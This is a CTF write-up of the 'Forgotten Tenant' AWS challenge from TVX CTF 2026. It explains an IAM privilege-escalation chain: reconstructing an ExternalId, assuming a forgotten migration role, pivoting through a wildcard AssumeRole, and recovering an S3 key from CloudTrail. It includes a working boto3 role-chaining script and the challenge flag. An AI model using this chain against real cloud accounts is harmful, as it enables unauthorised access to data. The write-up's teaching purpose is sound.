Skip to content
Adam Omar Saleh

TVX CTF 2026 placeholder badge (unofficial)TVX CTF 2026Cloud

Forgotten Tenant

A low-privilege IAM user is the starting point. A forgotten migration role still trusts the account, an overly broad policy lets it pivot into an incident-response role, and that role can read the evidence file whose…

Competition
TVX CTF 2026 placeholder badge (unofficial)TVX CTF 2026
Category
CloudMedium · estimated
Source status
Partially evidenced · platform unverified
Document
PDF edition7 min read

Brief

The challenge

Competition
TVX CTF 2026
Category
Cloud Security (platform category: Cloud (AWS))
Difficulty
Medium — estimated, not an official rating
Verification
Partially evidenced; platform acceptance not documented

Difficulty: Medium (estimated). TVX CTF 2026 did not publish difficulty ratings; the challenge cards show only points and solve counts. A multi-stage AWS privilege-escalation chain: rebuild an ExternalId from two fragments, assume a retained role, abuse an overly broad AssumeRole statement, then recover an unlistable S3 key from two days of CloudTrail. Each stage is guided by the provided artifacts, but the whole chain needs working IAM and STS knowledge.

01

Overview

A low-privilege IAM user is the starting point. A forgotten migration role still trusts the account, an overly broad policy lets it pivot into an incident-response role, and that role can read the evidence file whose key was leaked across two CloudTrail exports.

Solution path in brief

A low-privilege IAM user is given. A retained legacy migration role still trusts the account root under an sts:ExternalId condition; its external ID is reconstructed from fragments scattered across S3 objects. That role carries an overly broad sts:AssumeRole statement (role/tvx-forgotten-tenant-*), which lets it pivot into an incident-response role that can read a forensics bucket. The bucket has no ListBucket, so the exact object key is unknown — but the attached forensic bundle's CloudTrail exports leak it, split across two days: the case folder on 03‑14 and the handoff sub-path on 03‑15. Stitched together they give case-ab5396cd/handoff-RYII91T48V/evidence.json, which contains the flag.

The privilege-escalation chain:

Text
player user  →  legacy-migration-role (trust: account root + ExternalId)             →  incident-response-role (overly broad AssumeRole)             →  s3:GetObject on tvx-forgotten-tenant-forensics-pro0hid4/case-*/handoff-*/evidence.json

02

Initial investigation

The investigation began with the player credentials and the one listable bucket. Its five objects (asset inventory, IAM export, ticket export, old README, config backup) pointed at a retained role and a separate forensics bucket. The full sequence is in the step-by-step section.

03

Tools used

  • Python 3 with boto3 (no AWS CLI was available)

  • Manual review of the S3 objects and the CloudTrail JSON exports

04

Step-by-step process

Step 1: Solve steps

  1. Credentials. Access_key_ID.docx (a zip; text in word/document.xml) held the access key AKIA…[redacted] / secret [redacted challenge-issued secret]. Configured as profile player, region us-east-1. (No AWS CLI available → used boto3.) The user is tvx-forgotten-tenant-player in account 400875701859.

  2. Explore the archive bucket. s3://tvx-forgotten-tenant-migration-archive-pro0hid4/ is listable with 5 objects (see loot/). Key findings:

    • asset-inventory.csv names a retained role tvx-forgotten-tenant-legacy-migration-role with "cross-account trust NOT yet removed, see ticket TVX-4471", and a separate SecOps bucket tvx-forgotten-tenant-forensics-pro0hid4.

    • exports/iam-export-snapshot.json: the role's trust policy requires sts:ExternalId, and its tags include audit-ext-id-prefix: "fthK52".

    • tickets/TVX-4471-export.txt: a comment reveals "External ID (suffix, last 6 chars): ycGCAX".

  3. Reconstruct the External ID. prefix + suffix → fthK52 + ycGCAX = fthK52ycGCAX.

  4. Assume the migration role. sts:AssumeRole on role/tvx-forgotten-tenant-legacy-migration-role with ExternalId=fthK52ycGCAX succeeds. Reading its inline policy (legacy-migration-permissions) shows statement OverlyBroadAssumeAnyChallengeRole: sts:AssumeRole on role/tvx-forgotten-tenant-*.

  5. Pivot to the incident-response role. From the migration-role session, assume tvx-forgotten-tenant-incident-response-role. Its inline policy grants s3:GetObject on tvx-forgotten-tenant-forensics-pro0hid4/case-*/handoff-*/evidence.json (note: wildcards — the exact key is deliberately not in the policy, and no principal has ListBucket on the bucket).

  6. Recover the exact key from the forensic bundle. The challenge said "Download and extract the attached forensic bundle" — this is forgotten-tenant-stage3-bundle.zip, separate from S3. It contains two CloudTrail exports and a handoff note explaining that the S3 access-log pipeline was being re-pointed on the 15th, so each day's trail holds only part of the key:

    • cloudtrail-2026-03-14.json → CreateMultipartUpload key case-ab5396cd/manifest.json → case folder = case-ab5396cd.

    • cloudtrail-2026-03-15.json → PutObject key handoff-RYII91T48V/evidence.json (recorded relative to the upload's own sub-path only) → handoff sub-path = handoff-RYII91T48V/.

    Stitched: case-ab5396cd/handoff-RYII91T48V/evidence.json.

  7. Read the flag. GetObject on that key via the incident-response session returns evidence.json:

    JSON
    {  "case_id": "case-ab5396cd",  "handoff_code": "RYII91T48V",  "classification": "internal-forensics",  "summary": "... overly permissive sts:AssumeRole ... pivot into a role with access to this forensics archive ...",  "final_flag": "TVX{6N8at90xLFvdgyma648o}"}

05

Commands and code

Reproduce

Shell
python solve.py --key "case-ab5396cd/handoff-RYII91T48V/evidence.json"

solve.py performs the full chain: base creds → assume migration role with the reconstructed External ID → assume incident-response role → GetObject.

Full source: solve.py: role chain and GetObject (credentials redacted)

Python
#!/usr/bin/env python3"""TVX 'Forgotten Tenant' — AWS IAM privilege-escalation solver.​Full chain:  player user    -> assume tvx-forgotten-tenant-legacy-migration-role  (ExternalId = fthK52ycGCAX)    -> (OverlyBroadAssumeAnyChallengeRole) assume tvx-forgotten-tenant-incident-response-role    -> s3:GetObject on forensics bucket: case-<X>/handoff-<Y>/evidence.json  == the flag​Usage:  python solve.py                      # run chain, dump context  python solve.py <case> <handoff>     # read case-<case>/handoff-<handoff>/evidence.json  python solve.py --key <full/key>     # read an arbitrary key from the forensics bucket"""import sys, boto3​AK  = "AKIA…[redacted]"SK  = "[redacted challenge-issued secret]"REGION = "us-east-1"MIG = "arn:aws:iam::400875701859:role/tvx-forgotten-tenant-legacy-migration-role"EXT = "fthK52ycGCAX"IR  = "arn:aws:iam::400875701859:role/tvx-forgotten-tenant-incident-response-role"FORENSICS = "tvx-forgotten-tenant-forensics-pro0hid4"​​def incident_response_s3():    base = boto3.session.Session(aws_access_key_id=AK, aws_secret_access_key=SK, region_name=REGION)    c = base.client("sts").assume_role(RoleArn=MIG, RoleSessionName="recover", ExternalId=EXT)["Credentials"]    mig = boto3.session.Session(aws_access_key_id=c["AccessKeyId"], aws_secret_access_key=c["SecretAccessKey"],                                aws_session_token=c["SessionToken"], region_name=REGION)    ic = mig.client("sts").assume_role(RoleArn=IR, RoleSessionName="ir")["Credentials"]    ir = boto3.session.Session(aws_access_key_id=ic["AccessKeyId"], aws_secret_access_key=ic["SecretAccessKey"],                               aws_session_token=ic["SessionToken"], region_name=REGION)    print("[+] Assumed:", ir.client("sts").get_caller_identity()["Arn"])    return ir.client("s3")​​def read_key(s3, key):    print("[*] GetObject", key)    body = s3.get_object(Bucket=FORENSICS, Key=key)["Body"].read().decode("utf-8", "replace")    print(body)    return body​​def main():    s3 = incident_response_s3()    if len(sys.argv) >= 3 and sys.argv[1] == "--key":        read_key(s3, sys.argv[2]); return    if len(sys.argv) >= 3:        read_key(s3, f"case-{sys.argv[1]}/handoff-{sys.argv[2]}/evidence.json"); return    print("[i] Chain works. Supply the evidence path, e.g.:")    print("    python solve.py <case> <handoff>")    print("    python solve.py --key case-<X>/handoff-<Y>/evidence.json")​​if __name__ == "__main__":    main()

06

Technical explanation

Two misconfigurations combine. First, the legacy role's trust policy only requires an sts:ExternalId, and that “secret” was split across two readable artifacts. Second, the role's inline policy allows sts:AssumeRole on role/tvx-forgotten-tenant-*, a wildcard that includes the incident-response role. The forensics bucket blocks ListBucket, but CloudTrail logged the object key in two halves on two different days, so the full key can be stitched together without listing.

07

Flag

Flag

TVX{6N8at90xLFvdgyma648o}

Partially evidenced · platform unverified

08

Verification status

Status: Partially evidenced; platform acceptance not documented.

Every input to the chain is present in the archived evidence: the ExternalId prefix fthK52 (IAM export tag), the suffix ycGCAX (ticket TVX-4471), the case folder case-ab5396cd (CloudTrail 2026-03-14) and the handoff path handoff-RYII91T48V (CloudTrail 2026-03-15 and the handoff note). The final GetObject response is not archived; the flag value is recorded only in the source writeup. Platform acceptance is not documented.

Source evidence in the archive: WRITEUP.md, solve.py, bundle/cloudtrail-2026-03-14.json, bundle/cloudtrail-2026-03-15.json, bundle/incident-handoff-note.txt, loot/exports__iam-export-snapshot.json, loot/tickets__TVX-4471-export.txt, loot/asset-inventory.csv.

09

Conclusion

A realistic example of cloud debt: a role nobody removed, a wildcard nobody narrowed, and logs that leak more than intended. The path is fully supported by the archived evidence; only the final object read lacks a preserved transcript, and the status reflects that.

Prepared by Adam Omar Saleh from the archived solve notes in forgotten_tenant/. Commands, code, output and screenshots are reproduced from the source; no results were added. Difficulty is an estimate.

PDF edition

Writeup PDF

Formatted edition of this walkthrough, built from my source notes · 5 pages.